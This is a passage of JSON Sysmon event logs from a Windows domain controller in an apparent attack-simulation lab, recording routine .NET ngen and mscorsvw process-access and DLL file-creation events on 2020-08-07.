12:00:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6471,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:23.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4257-5F2D-0000-001090C80900}\r\nTargetProcessId: 2592\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:23.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4257-5F2D-0000-001090C80900}","TargetProcessId":"2592","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6472,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:23.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4257-5F2D-0000-001090C80900}\r\nTargetProcessId: 2592\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:23.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4257-5F2D-0000-001090C80900}","TargetProcessId":"2592","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6473,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:00:24.229\r\nProcessGuid: {90617006-4257-5F2D-0000-001090C80900}\r\nProcessId: 2592\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\a20-0\\System.Management.dll\r\nCreationUtcTime: 2020-08-07 12:00:24.229","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:00:24.229","ProcessGuid":"{90617006-4257-5F2D-0000-001090C80900}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\a20-0\\System.Management.dll","CreationUtcTime":"2020-08-07 12:00:24.229","EventReceivedTime":"2020-08-07 12:00:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6474,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:24.275\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4258-5F2D-0000-0010B2CC0900}\r\nTargetProcessId: 4308\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:24.275","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4258-5F2D-0000-0010B2CC0900}","TargetProcessId":"4308","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6475,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:24.275\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4258-5F2D-0000-0010B2CC0900}\r\nTargetProcessId: 4308\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:24.275","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4258-5F2D-0000-0010B2CC0900}","TargetProcessId":"4308","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6476,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:24.275\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4258-5F2D-0000-0010B2CC0900}\r\nTargetProcessId: 4308\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:24.275","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4258-5F2D-0000-0010B2CC0900}","TargetProcessId":"4308","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6477,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:24.322\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4258-5F2D-0000-001099CF0900}\r\nTargetProcessId: 3228\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:24.322","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4258-5F2D-0000-001099CF0900}","TargetProcessId":"3228","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6478,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:24.322\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4258-5F2D-0000-001099CF0900}\r\nTargetProcessId: 3228\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:24.322","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4258-5F2D-0000-001099CF0900}","TargetProcessId":"3228","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6479,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:24.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4258-5F2D-0000-001099CF0900}\r\nTargetProcessId: 3228\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:24.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4258-5F2D-0000-001099CF0900}","TargetProcessId":"3228","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6480,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:00:24.385\r\nProcessGuid: {90617006-4258-5F2D-0000-001099CF0900}\r\nProcessId: 3228\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\c9c-0\\Accessibility.dll\r\nCreationUtcTime: 